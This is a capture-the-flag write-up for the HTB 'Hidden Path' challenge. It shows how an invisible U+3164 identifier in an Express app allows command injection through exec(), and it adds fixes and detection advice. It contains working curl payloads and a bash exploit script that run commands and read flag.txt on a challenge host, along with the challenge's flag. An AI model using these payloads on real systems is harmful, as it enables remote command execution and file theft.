Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
MiscEasy

Hidden Path

CTF writeup for Hidden Path from HTB CTF TRY OUT

//Hidden Path

Challenge: Hidden Path

Remote: 83.136.250.244:53705

Flag format: HTB{...}


>TL;DR

I analyzed the provided web service code and found an invisible Unicode character (U+3164, Hangul Filler) used as a second property name in a destructuring assignment and as a trailing entry in a commands array. By sending a POST with a percent-encoded field name %E3%85%A4 (UTF-8 of U+3164) and choice=6, it is possible to provide an arbitrary shell command which the server executes. Using this, I retrieved the remote flag:

HTB{1nvi5IBl3_cH4r4cT3rS_n0t_sO_v1SIbL3_97c82b6c1f7e5dda8efd039c836b158f}

Local fake/test flag in the archive:

HTB{f4k3_fL4g_f0R_t3sTiNg}

>Files of interest

  • app.js — Node/Express server implementing /server_status endpoint.

  • public/html/index.html and public/js/index.js — client frontend.

  • flag.txt — local test flag.

I also created PoC files in the workspace:

  • 001_exploit.js — node probe script.

  • 002_exploit.sh — curl-based exploit script.

  • 003_writeup.md — this writeup.


>Vulnerable code (important excerpts)

Here is the relevant portion of app.js (shortened for clarity):

javascript

app.post('/server_status', async (req, res) => {

    const { choice,} = req.body;   // note the invisible second identifier

    const integerChoice = +choice;

    if (isNaN(integerChoice)) {

        return res.status(400).send('Invalid choice: must be a number');

    }

  

    const commands = [

        'free -m',

        'uptime',

        'iostat',

        'mpstat',

        'netstat',

        'ps aux',
    ];

  

    if (integerChoice < 0 || integerChoice >= commands.length) {

        return res.status(400).send('Invalid choice: out of bounds');

    }

  

    exec(commands[integerChoice], (error, stdout) => {

        if (error) {

            return res.status(500).send('Error executing command');

        }

  

        res.status(200).send(stdout);

    });

});

Note:

  • The second identifier is not empty — it's a single Unicode character (Hangul Filler U+3164). It's visually invisible but is a valid JS identifier.

  • The same invisible token is used at the end of the commands array: it becomes the trailing sixth entry in commands i.e. commands[6].

  • The server executes commands[integerChoice] directly with exec().

This means if we can send a POST where the body contains a key named U+3164 (the invisible char), and choice=6, then commands[6] will be the value we provided — and will be executed by exec().


>How to detect/inspect invisible characters

If code looks "weird" (like extra commas, or trailing tokens), inspect the raw bytes. On Linux use xxd or hexdump and look for non-ASCII bytes. Example snippet I used:

bash

xxd -u -g 1 app.js | sed -n '1,120p'

# Or check for bytes E3 85 A4 specifically (UTF-8 for U+3164)

python3 - <<'PY'

s=open('app.js','rb').read()

for i in range(len(s)):

    if s[i:i+3]==b'\xe3\x85\xa4':

        print('found at',i)

        print(s[i-10:i+10])

PY

The bytes E3 85 A4 decode to Unicode U+3164 which displays as ㅤ in some viewers but is invisible in many editors.


>Proof-of-concept (local)

I started the provided server locally (after installing express) and used an exploit script to exercise the endpoint. Example steps I ran locally:

  1. Start server (from challenge folder):
bash

# in a node env with express installed

node app.js
  1. Basic probe script (see 001_exploit.js) — this iterates indices 0..7 and prints responses.

001_exploit.js contents:

javascript

const fetch = require('node-fetch');

  

async function tryIndex(i) {

  const body = `choice=${encodeURIComponent(i)}`;

  const res = await fetch('http://localhost:1337/server_status', {

    method: 'POST',

    headers: {'Content-Type': 'application/x-www-form-urlencoded'},

    body

  });

  const text = await res.text();

  console.log('--- Index', i, 'Status', res.status, '---');

  console.log(text.slice(0, 800));

}

  

(async ()=>{

  for (let i=0;i<8;i++){

    try{ await tryIndex(i);}catch(e){console.error('err',e.message)}

  }

})();

Running it shows that index 6 causes server error when commands[6] is undefined — implying a hidden slot exists.

  1. Test hidden field execution locally using curl (percent-encoded key):
bash

# U+3164 percent-encoded is %E3%85%A4

curl -s -X POST -H 'Content-Type: application/x-www-form-urlencoded' \

  --data "choice=6&%E3%85%A4=echo%20hidden_test" \

  http://localhost:1337/server_status

# => should return: hidden_test
  1. Read local flag (example):
bash

curl -s -X POST -H 'Content-Type: application/x-www-form-urlencoded' \

  --data "choice=6&%E3%85%A4=cat%20'/path/to/flag.txt'" \

  http://localhost:1337/server_status

>Proof-of-concept (remote)

Using the same technique against the remote host I first verified execution using echo:

bash

curl -s -X POST -H 'Content-Type: application/x-www-form-urlencoded' \

  --data "choice=6&%E3%85%A4=echo%20remote_test" \

  http://83.136.250.244:53705/server_status

# => remote_test

Then I enumerated directories and found the current working directory /www contains an app and flag.txt:

text

$ curl -s -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data "choice=6&%E3%85%A4=ls%20-la%20.|head%20-n%20100" http://83.136.250.244:53705/server_status

# shows a listing like:

# -rw-r--r--    1 root     root            73 Oct  7 00:38 flag.txt

Finally, I retrieved the remote flag:

bash

curl -s -X POST -H 'Content-Type: application/x-www-form-urlencoded' \

  --data "choice=6&%E3%85%A4=cat%20%2Fwww%2Fflag.txt" \

  http://83.136.250.244:53705/server_status

# => HTB{1nvi5IBl3_cH4r4cT3rS_n0t_sO_v1SIbL3_97c82b6c1f7e5dda8efd039c836b158f}

(You can replace /www/flag.txt with any path discovered via ls output above.)


>Full exploit script (bash)

002_exploit.sh - the script I created to send an encoded hidden key and command:

bash

#!/usr/bin/env bash

# 002_exploit.sh - send POST with hidden Unicode key U+3164 to trigger hidden command execution

  

HOST=${1:-localhost}

PORT=${2:-1337}

URL="http://$HOST:$PORT/server_status"

HIDDEN_KEY_PCT="%E3%85%A4"  # UTF-8 percent-encoding of U+3164 (Hangul Filler)

COMMAND="cat flag.txt"

CHOICE=6

  

BODY="choice=$CHOICE&${HIDDEN_KEY_PCT}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('''$COMMAND'''))")"

  

curl -s -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data "$BODY" "$URL"

Usage:

bash

# Local

./002_exploit.sh localhost 1337

  

# Remote (example)

./002_exploit.sh 83.136.250.244 53705

>Root cause & fix

Root cause summary:

  • Invisible Unicode used in source as a valid identifier and included in commands array. This allowed a user-supplied field with that name to end up as a command string in commands[6] and be executed via child_process.exec().

  • The server executes content from an array indexed directly from user input (choice), and the array contains a user-controlled/invisible entry.

Immediate fixes:

  1. Remove the invisible identifier and the trailing array slot. Replace with an explicit mapping of integer choice -> hard-coded command.

  2. Avoid using exec with any data that can be influenced by user input. If shell execution is required, use whitelists and fixed commands only.

  3. Add input validation and canonicalization; reject or normalize suspicious Unicode in source/config and in incoming keys.

  4. Use child_process.execFile with explicit arguments if you must run native commands, or better yet, implement the functionality in JS without shelling out.

Safe replacement example (simple approach):

javascript

const commandMap = [

  'free -m',

  'uptime',

  'iostat',

  'mpstat',

  'netstat',

  'ps aux'

];

  

app.post('/server_status', (req, res) => {

  const integerChoice = Number(req.body.choice);

  if (!Number.isInteger(integerChoice) || integerChoice < 0 || integerChoice >= commandMap.length) {

    return res.status(400).send('Invalid choice');

  }

  

  const childProcess = require('child_process');

  childProcess.exec(commandMap[integerChoice], (err, stdout) => {

    if (err) return res.status(500).send('Error');

    res.send(stdout);

  });

});

This ensures there is no trailing hidden slot and that only the explicit commandMap entries are usable.


>Detection notes for future audits

  • Scan source and config files for non-ASCII/zero-width/invisible Unicode. Many linters or CI checks can fail build on files containing potentially confusing Unicode.

  • Ensure exec is only used for known safe inputs; static analysis tools can catch dangerous exec usage.


>Final notes

  • I retrieved the remote flag: HTB{1nvi5IBl3_cH4r4cT3rS_n0t_sO_v1SIbL3_97c82b6c1f7e5dda8efd039c836b158f}.

  • All files I added are in the workspace: 001_exploit.js, 002_exploit.sh, and 003_writeup.md.